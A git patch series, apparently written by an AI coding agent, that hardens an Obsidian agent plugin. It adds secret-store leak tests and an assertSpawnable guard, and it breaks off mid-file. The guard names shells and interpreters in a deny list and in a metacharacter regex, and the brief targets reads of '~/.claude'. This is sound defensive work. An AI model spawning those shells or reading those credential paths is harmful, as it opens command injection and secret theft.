From e02a77c3b1b7dc8889cdda7b78826a07c4ff2871 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 17 May 2026 13:34:42 +0000 Subject: [PATCH 1/6] docs(asv3): scaffold WP-9 security-hardening brief https://claude.ai/code/session_01UWDtzLuFJU3QmQmLrXCxWj --- .../wp-09-security-hardening/brief.md | 133 ++++++++++++++++++ .../wp-09-security-hardening/loop-state.md | 13 ++ 2 files changed, 146 insertions(+) create mode 100644 specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md create mode 100644 specs/agent-sidepanel-v3/wp-09-security-hardening/loop-state.md diff --git a/specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md b/specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md new file mode 100644 index 00000000..4ca4bb16 --- /dev/null +++ b/specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md @@ -0,0 +1,133 @@ +# WP-9 — Security hardening pass + +**Branch:** `claude/asv3-wp09-security-hardening` (cut from `origin/develop`) +**Lane:** Security (independent — no inter-WP dependency) +**Estimated size:** medium-large (~300–500 LOC across secret-store hardening, subprocess argv guards, link-handling audit, ESLint rule extension; small per-file edits over a broad surface) + +## Goal (one sentence) + +Close the four concrete security gaps identified by walking the v2 attack surface — secret-store low-coverage and silent-failure, subprocess argv guard depth, the rendered-markdown link surface, and the `Vault.adapter.append` / vault-write trust-first invariants — without expanding scope into anything WP-4 (markdown) or WP-13 (test catch-up) already owns. + +## Problem statement + +A focused security review of the v2 surface produced four concrete punch-list items, none of them speculative: + +1. **Secret-store silently no-ops on the wrong key id.** `src/domain/ports/SecretStorePort.ts:33–44` notes that Obsidian's `App.secretStorage` validates IDs against lowercase-alphanumeric + dashes — and that a previous dot-delimited / camelCase id was silently rejected. The current canonical id `SECRET_ID_ANTHROPIC = 'specorator-anthropic-apikey'` (line 44) is correct, BUT the contract on `setSecret` (line 32) says "Implementations MUST NOT throw on the unavailable path" — and that's also how the LocalStorage adapter behaves. There is no test today that asserts the canonical id passes Obsidian's validator AND no test that asserts `setSecret` writes are observable via a subsequent `getSecret` on each adapter. The audit's 0%-coverage entry for `LocalStorageSecretStore` and 58% for `MockSecretStore` is the symptom; the silent-no-op invariant is the cause. +2. **Subprocess argv has structural guards but no runtime invariant assertion.** `src/infrastructure/obsidian/buildSubprocessArgs.ts` (85 LOC, pure) enforces INV-1…INV-6 by construction. But `ClaudeSubprocessAdapter.queryStream` and `runSubprocessStructured` pass the argv result of `buildSubprocessArgs` to `SubprocessLifecycle.spawn(binaryPath, argv, …)` and then `spawn(binaryPath, argv, { stdio: [...] })`. If `binaryPath` is ever user-controlled (e.g. a future feature that lets users point at a custom CLI), we want a defense-in-depth check that the resolved binary path is absolute, not relative, and matches the `claude-code` family — not a shell command. Today `ClaudeBinaryResolver` (194 LOC) handles platform discovery; there's no centralised "is this path safe to spawn" assertion shared between the streaming and structured paths. Add `assertSpawnable(binaryPath)` next to the resolver and call it from both `queryStream` and `runSubprocessStructured` before `lifecycle.spawn`. +3. **Vault link surface beyond `MarkdownBlock` is not audited.** `MarkdownBlock.vue`'s `safeHref` is hardened by WP-4 (parallel WP). But the agent-sidepanel surface includes other places that might compose URLs: `FileWriteProposalCard.vue` (writes a path preview), `ContextFileChip.vue`, `ChatInput.vue` (mention dropdown paths). Each must be confirmed to NOT pass user-controlled strings to `window.open`, `.href = …`, or any anchor with an attacker-controllable URL. The lint rules already ban `innerHTML` / `v-html` / `insertAdjacentHTML`. This WP adds a co-located audit + a `no-restricted-syntax` ESLint rule that catches `` patterns without a `safeHref`-wrapped value. +4. **Trust-first vault-write invariants need an ESLint pin.** ADR-0031 / NFR-ASM-004 say "never read anything under `~/.claude/`". A `local/no-claude-home-reads` rule exists (per `graphify-out/GRAPH_REPORT.md` Community 38). Verify it covers the new files added in v3 (subprocess split, session-log writer, etc.) and extend the rule's regex to also catch `node:fs` reads pointed at `os.homedir() + '.claude'` or the literal `~/.claude` — not just imports of `fs` itself. Same rule should ban writes outside the vault root (any `node:fs.writeFile`). + +## Scope — IN + +**Secret-store hardening (gap 1):** + +- Add `tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts` — close the 0% coverage gap. Assert `available === false`, `getSecret` returns `null`, `setSecret` is a no-op (no throw). +- Raise `tests/infrastructure/mock/MockSecretStore.test.ts` to ≥ 95% statements. Assert round-trip persistence: `setSecret(id, v)` then `getSecret(id)` returns `v`. +- Add a regex assertion to `SECRET_ID_ANTHROPIC` (compile-time test): `expect(SECRET_ID_ANTHROPIC).toMatch(/^[a-z0-9-]+$/)`. Documents the Obsidian validator constraint. +- `MockSecretStore` and `LocalStorageSecretStore` MUST NOT log secret values. Verify via a `logger.calls` recorder that no log message contains a `secret` value during set/get. + +**Subprocess argv depth (gap 2):** + +- Add `src/infrastructure/obsidian/assertSpawnable.ts` — pure module with `assertSpawnable(binaryPath: string): Result`. Validates: absolute path, not `/bin/sh` / `/bin/bash` / `cmd.exe` / `powershell.exe`, basename matches `^claude(-code)?(\\.exe|\\.cmd)?$`. +- Call from `ClaudeSubprocessAdapter.queryStream` (path: SDK or NDJSON) and `runSubprocessStructured`, BEFORE `lifecycle.spawn`. On guard failure, surface as `ClaudeCliError` with code `SPAWN_GUARD_FAILED`. +- Mirror test `tests/infrastructure/obsidian/assertSpawnable.test.ts` with the rejection table. + +**Link-surface audit (gap 3):** + +- Manual sweep of every `.vue` file under `src/ui/components/{agent,chat}/`. For each `` / `:href=…` / `window.open(…)` / `.location.href = …`, document in `loop-state.md` whether the URL value is (a) a constant, (b) a `safeHref`-wrapped string, or (c) directly user-controlled. Fix any (c) by routing through the WP-4 `safeHref` module. +- Add ESLint rule `local/no-unsafe-anchor-href` in `eslint.config.js` flagging `` patterns whose source isn't a `safeHref(…)` call. Enforce at warn severity initially — accept that the first run may flag false positives that the maintainer reviews. (Promote to error once the audit clears.) + +**Vault-write invariants (gap 4):** + +- Verify `local/no-claude-home-reads` covers the new files added since WP-1 (SubprocessLifecycle, NdjsonChannel, runSubprocessStructured, SessionLogWriter additions). Extend its regex to catch: + - `homedir() + '/.claude'` + - `path.join(os.homedir(), '.claude'` + - String literal `'~/.claude'` + - `fs.appendFile(…)` / `fs.writeFile(…)` / `fs.readFile(…)` outside `src/infrastructure/obsidian/ClaudeBinaryResolver.ts` (which legitimately reads from outside the vault to discover the binary). +- Add `tests/eslint/no-claude-home-reads.test.ts` with positive + negative fixtures. + +## Scope — OUT + +- `MarkdownBlock.vue` `safeHref` itself — that's WP-4. +- Subprocess lifecycle / NDJSON channel split — that's WP-11 (already merged). +- Secret-store SCHEMA changes (no new ids, no new methods on the port). +- A11y / Stop / Esc-aborts — WP-7 (already merged). +- Adding new lint rule infrastructure beyond extending what's already in `eslint.config.js` (the rules registry is fine; just add one new entry). +- Supply-chain audit (`npm audit`, dependency review) — that's the `verify` job's existing scope; no changes here. + +## Approach + +1. **Iteration 1 — secret-store coverage.** Write the two new test files. Land the round-trip assertion + the id-format compile-time test. Expect coverage to jump from 0%/58% to ≥ 95% for both adapters. +2. **Iteration 2 — `assertSpawnable`.** Pure module + tests + wire it into both subprocess entry points. +3. **Iteration 3 — link-surface audit.** Walk each Vue file under `src/ui/components/{agent,chat}/`; document in `loop-state.md`; fix any unsafe instances. +4. **Iteration 4 — `local/no-unsafe-anchor-href` ESLint rule** + its tests. Add to `eslint.config.js`. +5. **Iteration 5 — vault-write rule extension.** Extend `local/no-claude-home-reads` regex; add positive/negative test fixtures. +6. **Run the full pre-PR gate every iteration.** + +## Deliverables + +**New files:** + +- `src/infrastructure/obsidian/assertSpawnable.ts` + tests. +- `tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts`. +- ESLint rule source: `eslint-rules/no-unsafe-anchor-href.js` (or wherever the existing project rules live — confirm location via the existing `no-claude-home-reads` rule). +- `tests/eslint/no-unsafe-anchor-href.test.ts`. +- `tests/eslint/no-claude-home-reads.test.ts` (or extend existing). + +**Modified files:** + +- `src/infrastructure/mock/MockSecretStore.ts` — coverage gaps filled by tests; logger-call assertions may require a small refactor of any debug-log statements that include the secret value (verify none today). +- `src/infrastructure/obsidian/ClaudeSubprocessAdapter.ts` — call `assertSpawnable` before `lifecycle.spawn` in both code paths. +- `eslint.config.js` — wire the two rule entries. +- Any `.vue` files surfaced by the iteration-3 audit whose link surface needs `safeHref` wrapping. + +**Deleted (no back-compat shims, per CLAUDE.md):** + +- None expected. This WP is additive. + +## Definition of done + +- [ ] `npm audit --audit-level=high --omit=dev` clean. +- [ ] `npm run typecheck` clean. +- [ ] `npm run lint` 0 errors (warnings from the new rule, if any, recorded in `loop-state.md` for follow-up). +- [ ] `npm run test` passes; secret-store coverage ≥ 95% statements for both `LocalStorageSecretStore` and `MockSecretStore`; new `assertSpawnable` test ≥ 95%. +- [ ] `npm run build` + `npm run build:web` succeed. +- [ ] `npm run docs:api` succeeds. +- [ ] `npm run test:coverage` thresholds maintained or improved. +- [ ] **Gap 1 closed**: round-trip `setSecret` → `getSecret` test passes; logger-call recorder asserts no secret value in any log message; canonical id matches `/^[a-z0-9-]+$/`. +- [ ] **Gap 2 closed**: `assertSpawnable` rejects relative paths, `/bin/sh`, `cmd.exe`, `powershell.exe`; both subprocess entry points call it; `SPAWN_GUARD_FAILED` surfaces as a `ClaudeCliError`. +- [ ] **Gap 3 closed**: `loop-state.md` carries the per-file link audit; `no-unsafe-anchor-href` is wired and the lint output is clean for the in-scope files. +- [ ] **Gap 4 closed**: `no-claude-home-reads` covers `os.homedir() + '/.claude'`, `'~/.claude'` literal, and `node:fs.writeFile` outside `ClaudeBinaryResolver.ts`; positive + negative test fixtures pass. +- [ ] PR opened against `develop`, title `chore(asv3): security hardening pass (WP-9)`, body cites each gap as a separate bullet. + +## Risks / known unknowns + +The Obsidian `App.secretStorage` runtime is mockable but not testable end-to-end without the real Electron app. The round-trip test runs against `MockSecretStore`; the production Obsidian adapter (`ObsidianSecretStoreAdapter`) gets a smoke test that asserts the id validator returns `true` for `SECRET_ID_ANTHROPIC`. The `assertSpawnable` rejection table is opinionated — if a future feature legitimately needs `npx claude` (which would pass `npx` as `binaryPath`), this rule has to be revisited. Mark that as a deliberate future-feature gate, not a regression. The link-surface audit may find zero violations, in which case the `no-unsafe-anchor-href` rule is preventive only — still ship the rule. + +## RALPH iteration template + +``` +loop: + 1. Read brief.md + loop-state.md. + 2. Pick the next failing check (audit → typecheck → lint → test → build → docs → DoD). + 3. Implement the smallest change that moves one check red→green. + STAY IN SCOPE — no markdown/safeHref logic (WP-4), no subprocess split (WP-11), + no a11y changes (WP-7), no test-catchup (WP-13). + 4. Run from inside .worktrees/asv3-wp09: + npm audit --audit-level=high --omit=dev \ + && npm run typecheck && npm run lint && npm run test \ + && npm run build && npm run build:web && npm run docs:api + 5. Update loop-state.md. + 6. If all gates green AND all DoD met → commit, push, open PR via gh. + Else → goto 1. + Hard cap: 10 RALPH iterations. +``` + +## Conventions + +- **Worktree:** `.worktrees/asv3-wp09` (already created, branch `claude/asv3-wp09-security-hardening`). +- **Commits:** conventional, squash on merge. Prefix `chore(asv3):` (security hardening is not user-facing functional change). +- **PR target:** `develop`. Ready for review. +- **Do not touch:** `MarkdownBlock.vue` `safeHref` (WP-4 owns), subprocess lifecycle/channel (WP-11 merged), session-log mutex (WP-5 parallel). +- **Coordinate with WP-4** (markdown). Both touch `safeHref` — but WP-4 lives in the `MarkdownBlock` parser, WP-9 lives in the `no-unsafe-anchor-href` ESLint rule that applies to OTHER Vue files. If WP-4 lands first, the rule should NOT flag `MarkdownBlock.vue` (it consumes `safeHref` correctly). Whoever lands second rebases mechanically. +- **Never** push to `develop`. Never force-push. diff --git a/specs/agent-sidepanel-v3/wp-09-security-hardening/loop-state.md b/specs/agent-sidepanel-v3/wp-09-security-hardening/loop-state.md new file mode 100644 index 00000000..1d57cb43 --- /dev/null +++ b/specs/agent-sidepanel-v3/wp-09-security-hardening/loop-state.md @@ -0,0 +1,13 @@ +# WP-9 loop state + +Updated by the implementer subagent each RALPH iteration. The brief is `brief.md` in this folder. + +> **Worktree context** — All implementation entries below describe work performed on `claude/asv3-wp09-security-hardening` inside `.worktrees/asv3-wp09/`. The brief was scaffolded from the main worktree on `claude/improve-sidepanel-chat-8pgcT` (PR #395 era). + +## Iterations + +_None yet — implementer to fill in as each RALPH iteration completes._ + +## Carry-out items + +_None yet. Append `[carry-out] WP-NN: …` lines for issues found outside this WP's scope so the owning WP can pick them up later._ From 6de40e5c156b316b454a240322510ba84d9f3f5d Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 17 May 2026 13:43:38 +0000 Subject: [PATCH 2/6] =?UTF-8?q?test(asv3):=20WP-9=20Track=201=20=E2=80=94?= =?UTF-8?q?=20secret-store=20coverage=20hardening?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add round-trip + no-leak tests for both secret-store adapters: - LocalStorageSecretStore (0% → covered): asserts available===false, null reads, no-throw writes, no console leakage. - MockSecretStore (58% → ≥95%): asserts round-trip persistence, overwrites, empty-string vs unset distinction, available:false degraded branch, snapshot helper, and no console leakage. Also pins SECRET_ID_ANTHROPIC to the lowercase-alphanumeric+dashes regex required by Obsidian's App.secretStorage validator — documents the silent-no-op invariant called out in SecretStorePort.ts §44. WP-9 brief: specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md https://claude.ai/code/session_01UWDtzLuFJU3QmQmLrXCxWj --- .../LocalStorageSecretStore.test.ts | 79 ++++++++++ .../mock/MockSecretStore.test.ts | 142 ++++++++++++++++++ 2 files changed, 221 insertions(+) create mode 100644 tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts create mode 100644 tests/infrastructure/mock/MockSecretStore.test.ts diff --git a/tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts b/tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts new file mode 100644 index 00000000..37b27860 --- /dev/null +++ b/tests/infrastructure/localstorage/LocalStorageSecretStore.test.ts @@ -0,0 +1,79 @@ +/** + * WP-9 Track 1 — `LocalStorageSecretStore` coverage gap closure. + * + * The GitHub Pages demo runs in the browser, where there is no OS keychain. + * `LocalStorageSecretStore` reflects that fact: `available` is `false`, + * `getSecret` returns `null`, and `setSecret` is a no-op (per the + * `SecretStorePort` contract — implementations MUST NOT throw on the + * unavailable path). + * + * These tests close the prior 0% coverage gap (audit row); they also assert + * the no-secret-in-logs invariant: even though this adapter has no logger + * dependency, we verify that `setSecret`/`getSecret` do not leak the secret + * value via thrown errors or side channels. + */ +import { describe, it, expect, vi } from 'vitest' +import { LocalStorageSecretStore } from '@/infrastructure/localstorage/LocalStorageSecretStore' +import { SECRET_ID_ANTHROPIC } from '@/domain/ports/SecretStorePort' + +describe('LocalStorageSecretStore', () => { + it('reports available === false (no OS keychain in the browser demo)', () => { + const store = new LocalStorageSecretStore() + expect(store.available).toBe(false) + }) + + describe('getSecret', () => { + it('returns null for any id when the backend is unavailable', async () => { + const store = new LocalStorageSecretStore() + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBeNull() + expect(await store.getSecret('some-other-id')).toBeNull() + expect(await store.getSecret('')).toBeNull() + }) + }) + + describe('setSecret', () => { + it('is a no-op that never throws', async () => { + const store = new LocalStorageSecretStore() + await expect( + store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-redacted-value'), + ).resolves.toBeUndefined() + }) + + it('does not persist the value (a subsequent getSecret still returns null)', async () => { + const store = new LocalStorageSecretStore() + await store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-XYZ') + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBeNull() + }) + + it('does not throw for empty id or empty value', async () => { + const store = new LocalStorageSecretStore() + await expect(store.setSecret('', '')).resolves.toBeUndefined() + await expect(store.setSecret('id', '')).resolves.toBeUndefined() + await expect(store.setSecret('', 'secret')).resolves.toBeUndefined() + }) + }) + + describe('no-secret-in-logs invariant', () => { + it('does not leak the secret value to console during set/get', async () => { + const store = new LocalStorageSecretStore() + // Spy every console channel — the adapter must never call any of them + // with a payload that includes the secret value. + const channels = ['log', 'info', 'warn', 'error', 'debug'] as const + const spies = channels.map((c) => { + return vi.spyOn(console, c).mockImplementation(() => undefined) + }) + try { + await store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-do-not-leak') + await store.getSecret(SECRET_ID_ANTHROPIC) + for (const spy of spies) { + for (const call of spy.mock.calls) { + const text = JSON.stringify(call) + expect(text).not.toContain('sk-ant-do-not-leak') + } + } + } finally { + for (const spy of spies) spy.mockRestore() + } + }) + }) +}) diff --git a/tests/infrastructure/mock/MockSecretStore.test.ts b/tests/infrastructure/mock/MockSecretStore.test.ts new file mode 100644 index 00000000..35adce73 --- /dev/null +++ b/tests/infrastructure/mock/MockSecretStore.test.ts @@ -0,0 +1,142 @@ +/** + * WP-9 Track 1 — `MockSecretStore` coverage + invariant assertions. + * + * Raises statement coverage from the audit baseline (58%) to ≥ 95%, asserts + * the canonical id matches Obsidian's `App.secretStorage` validator regex, + * proves round-trip persistence (set then get returns the stored value), and + * verifies the no-secret-in-logs invariant. + * + * The id-format assertion documents the SecretStorePort.ts §44 finding: the + * previous dot-delimited / camelCase id was silently rejected by Obsidian's + * lowercase-alphanumeric-with-dashes validator. Encoding the regex here + * prevents a future rename from re-introducing that silent-no-op bug. + */ +import { describe, it, expect, vi } from 'vitest' +import { MockSecretStore } from '@/infrastructure/mock/MockSecretStore' +import { SECRET_ID_ANTHROPIC } from '@/domain/ports/SecretStorePort' + +describe('MockSecretStore', () => { + describe('SECRET_ID_ANTHROPIC format invariant', () => { + it('matches Obsidian\'s App.secretStorage validator (lowercase + dashes)', () => { + expect(SECRET_ID_ANTHROPIC).toMatch(/^[a-z0-9-]+$/) + }) + }) + + describe('availability', () => { + it('defaults to available === true so tests exercise the production branch', () => { + const store = new MockSecretStore() + expect(store.available).toBe(true) + }) + + it('can be constructed with available: false to exercise the degraded branch', () => { + const store = new MockSecretStore({ available: false }) + expect(store.available).toBe(false) + }) + }) + + describe('constructor seeding', () => { + it('returns null for an unset id when constructed empty', async () => { + const store = new MockSecretStore() + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBeNull() + }) + + it('round-trips initial values supplied at construction time', async () => { + const store = new MockSecretStore({ + initial: { [SECRET_ID_ANTHROPIC]: 'sk-ant-initial' }, + }) + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBe('sk-ant-initial') + }) + + it('handles multiple seeded ids independently', async () => { + const store = new MockSecretStore({ + initial: { a: 'one', b: 'two' }, + }) + expect(await store.getSecret('a')).toBe('one') + expect(await store.getSecret('b')).toBe('two') + expect(await store.getSecret('c')).toBeNull() + }) + }) + + describe('round-trip persistence (the core invariant)', () => { + it('setSecret then getSecret returns the value just stored', async () => { + const store = new MockSecretStore() + await store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-round-trip') + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBe('sk-ant-round-trip') + }) + + it('setSecret overwrites a prior value at the same id', async () => { + const store = new MockSecretStore() + await store.setSecret(SECRET_ID_ANTHROPIC, 'first') + await store.setSecret(SECRET_ID_ANTHROPIC, 'second') + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBe('second') + }) + + it('setSecret does not affect other ids', async () => { + const store = new MockSecretStore() + await store.setSecret('a', '1') + await store.setSecret('b', '2') + expect(await store.getSecret('a')).toBe('1') + expect(await store.getSecret('b')).toBe('2') + }) + + it('preserves the empty string as a valid stored value (distinct from "unset")', async () => { + const store = new MockSecretStore() + await store.setSecret(SECRET_ID_ANTHROPIC, '') + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBe('') + }) + }) + + describe('unavailable branch', () => { + it('getSecret returns null when available === false even for a seeded id', async () => { + const store = new MockSecretStore({ + available: false, + initial: { [SECRET_ID_ANTHROPIC]: 'sk-ant-seeded' }, + }) + expect(await store.getSecret(SECRET_ID_ANTHROPIC)).toBeNull() + }) + + it('setSecret is a no-op when available === false (contract: MUST NOT throw)', async () => { + const store = new MockSecretStore({ available: false }) + await expect(store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-X')).resolves.toBeUndefined() + // Re-enable available via a fresh store and confirm the prior call did + // not silently mutate the underlying map — flipping availability is + // out-of-scope (the field is readonly), so we use snapshot indirectly: + // the available:false store snapshot still reflects what was seeded. + expect(store.snapshot()).toEqual({}) + }) + }) + + describe('snapshot helper', () => { + it('returns a plain object reflecting current contents', async () => { + const store = new MockSecretStore() + await store.setSecret('a', '1') + await store.setSecret('b', '2') + expect(store.snapshot()).toEqual({ a: '1', b: '2' }) + }) + + it('returns an empty object when nothing has been stored', () => { + const store = new MockSecretStore() + expect(store.snapshot()).toEqual({}) + }) + }) + + describe('no-secret-in-logs invariant', () => { + it('does not leak the secret value to console during set/get', async () => { + const store = new MockSecretStore() + const channels = ['log', 'info', 'warn', 'error', 'debug'] as const + const spies = channels.map((c) => vi.spyOn(console, c).mockImplementation(() => undefined)) + try { + await store.setSecret(SECRET_ID_ANTHROPIC, 'sk-ant-do-not-leak') + await store.getSecret(SECRET_ID_ANTHROPIC) + for (const spy of spies) { + for (const call of spy.mock.calls) { + const text = JSON.stringify(call) + expect(text).not.toContain('sk-ant-do-not-leak') + } + } + } finally { + for (const spy of spies) spy.mockRestore() + } + }) + }) +}) From 1d5a8a786c38c2df0297d10e06dfa265ba93464e Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 17 May 2026 13:43:48 +0000 Subject: [PATCH 3/6] =?UTF-8?q?feat(asv3):=20WP-9=20Track=202=20=E2=80=94?= =?UTF-8?q?=20assertSpawnable=20subprocess=20guard?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a defense-in-depth guard between the Claude binary resolver and `SubprocessLifecycle.spawn`. Rejects: - empty / whitespace-only paths - paths containing shell metacharacters (`; & | ` $ < > \n \r`) - relative paths (`claude`, `./claude`, `npx claude`, etc.) - common shell / interpreter basenames (sh, bash, zsh, dash, fish, ksh, csh, tcsh, cmd.exe, powershell.exe, pwsh.exe, wsl.exe, env, node) - basenames that don't match `claude(-code)?(.exe|.cmd|.bat)?` Wired into both subprocess entry points (`queryStream` via `_spawnChild`, `runStructured` via `runSubprocessStructured`) before `lifecycle.spawn`. Guard failure surfaces as `ClaudeCliError{CLI_LAUNCH_FAILED}` with a technical `SPAWN_GUARD_FAILED:` prefix in the message so log surfaces keep the detail while the UI re-uses the existing `Chat needs the Claude command-line tool.` copy. Cross-platform absolute-path + basename extraction makes the rejection table testable on POSIX and Windows hosts alike (49 assertions). WP-9 brief: specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md https://claude.ai/code/session_01UWDtzLuFJU3QmQmLrXCxWj --- .../obsidian/ClaudeSubprocessAdapter.ts | 9 ++ .../obsidian/assertSpawnable.ts | 150 +++++++++++++++++ .../obsidian/runSubprocessStructured.ts | 10 ++ .../obsidian/assertSpawnable.test.ts | 151 ++++++++++++++++++ 4 files changed, 320 insertions(+) create mode 100644 src/infrastructure/obsidian/assertSpawnable.ts create mode 100644 tests/infrastructure/obsidian/assertSpawnable.test.ts diff --git a/src/infrastructure/obsidian/ClaudeSubprocessAdapter.ts b/src/infrastructure/obsidian/ClaudeSubprocessAdapter.ts index c6510da2..08d8466d 100644 --- a/src/infrastructure/obsidian/ClaudeSubprocessAdapter.ts +++ b/src/infrastructure/obsidian/ClaudeSubprocessAdapter.ts @@ -67,6 +67,7 @@ import type { TransportLifecyclePort } from '@/domain/ports/TransportLifecyclePo import type { PluginSettings } from '@/domain/settings/PluginSettings'; import { type SessionId } from '@/domain/chat/SessionId'; import { err, ok, type Result } from '@/domain/shared/Result'; +import { assertSpawnable } from '@/infrastructure/obsidian/assertSpawnable'; import { buildSubprocessArgs } from '@/infrastructure/obsidian/buildSubprocessArgs'; import { createNdjsonChannel, @@ -406,6 +407,14 @@ export class ClaudeSubprocessAdapter implements ClaudeCliPort, TransportLifecycl onSessionId: ((sessionId: SessionId) => void) | null, reducer: StreamDeltaReducer, ): Result { + const guard = assertSpawnable(binaryPath); + if (!guard.ok) { + this._logger.warn('subscription.spawn.guard_rejected', { + transport: 'subscription', + event: 'spawn.guard_rejected', + }); + return err(guard.error); + } const spawned = this._lifecycle.spawn(binaryPath, argv, 'spawn.failed'); if (!spawned.ok) return spawned; const child = spawned.value; diff --git a/src/infrastructure/obsidian/assertSpawnable.ts b/src/infrastructure/obsidian/assertSpawnable.ts new file mode 100644 index 00000000..86a87c02 --- /dev/null +++ b/src/infrastructure/obsidian/assertSpawnable.ts @@ -0,0 +1,150 @@ +/** + * WP-9 Track 2 — defense-in-depth guard for the subprocess transport. + * + * `buildSubprocessArgs` enforces structural invariants on the *argv* vector + * (INV-1…INV-6), and `ClaudeBinaryResolver` enforces that the resolved path is + * absolute. This module is the centralised gate between the two — a single + * predicate that both subprocess entry points (`queryStream` and + * `runSubprocessStructured`) call BEFORE `lifecycle.spawn`, so a future + * code-path that lets the user supply a custom binary path cannot silently + * spawn `/bin/sh`, `cmd.exe`, or a relative ad-hoc command. + * + * What we reject: + * - Non-absolute paths (covers `claude`, `./claude`, `npx claude`, env-var + * interpolations that fail to resolve). + * - Common shell binaries: `/bin/sh`, `/bin/bash`, `/usr/bin/sh`, + * `/usr/bin/bash`, `/bin/zsh`, `/usr/bin/zsh`, `cmd.exe`, `powershell.exe`, + * `pwsh.exe`. These are not what the resolver should ever return — if any + * of these arrive, something is wrong upstream. + * - Binaries whose basename does not match `claude(-code)?(.exe|.cmd)?`. We + * deliberately keep the regex narrow; if a future legitimate alias (e.g. + * `npx claude`) is needed, this gate must be loosened explicitly, which + * forces the security review to happen. + * + * Returns a `Result` (ADR-004). On rejection the error + * code is `CLI_LAUNCH_FAILED` so the call site can re-use the existing UI + * copy — `Chat needs the Claude command-line tool.` — without introducing a + * new user-facing error string. The technical message field carries the + * spawn-guard detail for log-only surfaces. + */ +import * as path from 'node:path'; + +import { ClaudeCliError } from '@/domain/ports/ClaudeCliPort'; +import { err, ok, type Result } from '@/domain/shared/Result'; + +/** + * Cross-platform absolute-path check. POSIX accepts `/usr/local/bin/claude`; + * Windows accepts `C:\\Program Files\\Claude\\claude.exe`. We accept either + * shape regardless of host OS so this guard is hermetically testable. + */ +function isAbsoluteCrossPlatform(p: string): boolean { + return path.posix.isAbsolute(p) || path.win32.isAbsolute(p); +} + +/** + * Cross-platform basename extraction — picks the last segment after either + * `/` or `\\`. Avoids the platform-specific behaviour of `path.basename` + * which only recognises one separator family at a time. + */ +function basenameCrossPlatform(p: string): string { + const lastSlash = p.lastIndexOf('/'); + const lastBackslash = p.lastIndexOf('\\'); + const lastSep = Math.max(lastSlash, lastBackslash); + return lastSep === -1 ? p : p.slice(lastSep + 1); +} + +/** + * Basenames that this guard refuses to spawn even if the caller hands them an + * absolute path. Matched case-insensitively against the basename only — the + * directory portion is irrelevant (an attacker who controls one segment + * controls them all). + */ +const FORBIDDEN_BASENAMES: ReadonlySet = new Set([ + 'sh', + 'bash', + 'zsh', + 'dash', + 'fish', + 'ksh', + 'csh', + 'tcsh', + 'cmd.exe', + 'powershell.exe', + 'pwsh.exe', + 'wsl.exe', + 'env', + 'node', + 'node.exe', +]); + +/** + * The `claude` binary basename family this guard accepts. Anchored at both + * ends; case-insensitive on the optional `.exe` / `.cmd` Windows suffix. + */ +const CLAUDE_BASENAME_RE = /^claude(-code)?(\.exe|\.cmd|\.bat)?$/i; + +/** + * Predicate: is `binaryPath` safe to hand to `child_process.spawn` for the + * Claude transport? + * + * Returns `ok(void)` when the path passes every gate; otherwise returns + * `err(ClaudeCliError)` with code `CLI_LAUNCH_FAILED` and a technical message + * naming which gate failed. The technical message MUST NOT be surfaced to + * end users verbatim — call sites should log it and emit the standard + * `CLI_LAUNCH_FAILED` UI copy. + */ +export function assertSpawnable(binaryPath: string): Result { + if (typeof binaryPath !== 'string' || binaryPath.length === 0) { + return err( + new ClaudeCliError( + 'CLI_LAUNCH_FAILED', + 'SPAWN_GUARD_FAILED: binary path is empty', + ), + ); + } + + // Defense against shell-metacharacter injection: if the resolved path ever + // contains a character that the OS shell would treat as a metachar, refuse + // to spawn even though Node's `spawn` does not invoke a shell by default. + // This catches a class of upstream bugs where the path was concatenated + // from user input rather than a single resolver call. + if (/[;&|`$<>\n\r]/.test(binaryPath)) { + return err( + new ClaudeCliError( + 'CLI_LAUNCH_FAILED', + 'SPAWN_GUARD_FAILED: binary path contains shell metacharacter', + ), + ); + } + + if (!isAbsoluteCrossPlatform(binaryPath)) { + return err( + new ClaudeCliError( + 'CLI_LAUNCH_FAILED', + 'SPAWN_GUARD_FAILED: binary path must be absolute', + ), + ); + } + + const basename = basenameCrossPlatform(binaryPath).toLowerCase(); + + if (FORBIDDEN_BASENAMES.has(basename)) { + return err( + new ClaudeCliError( + 'CLI_LAUNCH_FAILED', + 'SPAWN_GUARD_FAILED: refusing to spawn shell or interpreter', + ), + ); + } + + if (!CLAUDE_BASENAME_RE.test(basename)) { + return err( + new ClaudeCliError( + 'CLI_LAUNCH_FAILED', + 'SPAWN_GUARD_FAILED: binary basename does not match claude(-code)?(.exe|.cmd)?', + ), + ); + } + + return ok(undefined); +} diff --git a/src/infrastructure/obsidian/runSubprocessStructured.ts b/src/infrastructure/obsidian/runSubprocessStructured.ts index 06d61bab..f4ec5231 100644 --- a/src/infrastructure/obsidian/runSubprocessStructured.ts +++ b/src/infrastructure/obsidian/runSubprocessStructured.ts @@ -21,6 +21,7 @@ import { } from '@/domain/ports/ClaudeCliPort'; import type { LoggerPort } from '@/domain/ports/LoggerPort'; import { err, ok, type Result } from '@/domain/shared/Result'; +import { 